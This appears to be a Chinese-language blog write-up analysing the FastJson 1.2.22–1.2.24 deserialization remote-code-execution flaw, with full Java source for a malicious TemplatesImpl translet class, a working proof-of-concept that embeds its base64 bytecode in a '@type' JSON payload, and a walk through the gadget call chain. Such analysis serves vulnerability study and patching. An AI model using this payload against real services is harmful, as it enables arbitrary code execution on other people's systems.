[TOC]html
balabalajava
开始git
介绍:FastJson是一款由阿里开发的JSON库 影响版本:1.2.22-24 官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315 补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342bgithub
本地环境: win10 idea64 2018.2.5 jdk 1.8 fastjson 1.22apache
先经过一个简单的demo来熟悉一下FastJson的基本操做。首先建立一个Student类,Student.java:json
package ka1n4t.test; public class Student { public String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:ide
package ka1n4t.test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.JSONObject; public class learnFJ { public static void main(String args[]) { String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}"; Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField); System.out.println(obj1.getName()); } }
结果: 测试
先看一下用于反序列化的恶意类evilClass1.java:this
package ka1n4t.poc; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evilClass1 extends AbstractTranslet/*ka1n4t*/ { public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public evilClass1() throws IOException { Runtime.getRuntime().exec("calc"); } public static void main(String[] args) throws IOException { evilClass1 helloworld = new evilClass1(); } }
其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:编码
package ka1n4t.poc; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class vulApp1 { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } String result = Base64.encodeBase64String(bos.toByteArray()); return result; } public static void bad_method() { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class"; String evil_code = readClass(evil_path); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evil_code+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } public static void main(String args[]) { bad_method(); } }
核心部分:
String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evil_code+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
_bytecodes是通过base64编码的evilClass1的字节码文件,NASTY_CLASS是TemplatesImpl类。总结一下这个payload,利用JSON.parseObject反序列化TemplatesImpl类,其中_bytecodes属性是通过base64编码的恶意类字节码文件。
下面来分析一下反序列化TemplatesImpl的调用链,首先通过java的反射机制,到达TemplatesImpl类,调用其getOutputProperties()方法:
跟进newTransformer()方法,这个方法是用于建立一个Transformer实例。而后到达getTransletInstance()方法:
getTransletInstance()方法用于建立一个translet实例,返回这个translet给newTransformer(),而后被包裹成Transformer对象。跟进一下这个方法,发现其调用了defineTransletClasses()用来加载_bytecodes中的类,接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化:
先跟进一下defineTransletClasses方法:
能够看到,使用了loader.defineClass()方法用于加载_bytecodes的内容,并将返回的类赋值给_class[i](这里的i是0)。loader是TemplatesImpl自定义的类,跟进一下:
能够看到TransletClassLoader继承了Java类加载器—ClassLoader类,跟进其defineClass方法,发现直接调用了父类ClassLoader中的方法,因此就再也不跟进了。
回到defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容以后,将加载出来的类赋值给_class[0],而后结束,回到getTransletInstance方法,再看一下图:
能够看到,455行直接使用了_class[0].newInstance()建立实例,建立的过程当中调用了evilClass1构造方法,而后触发了payload:
从github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打开工程,编译test.java:
而后会在target/classes/person下生成test.class文件。用一样的方法编译Poc.java。
配置运行方式
运行Poc:
1.廖新喜 fastjson 远程反序列化poc的构造和分析 2.Freebuf Fastjson 1.2.24反序列化漏洞分析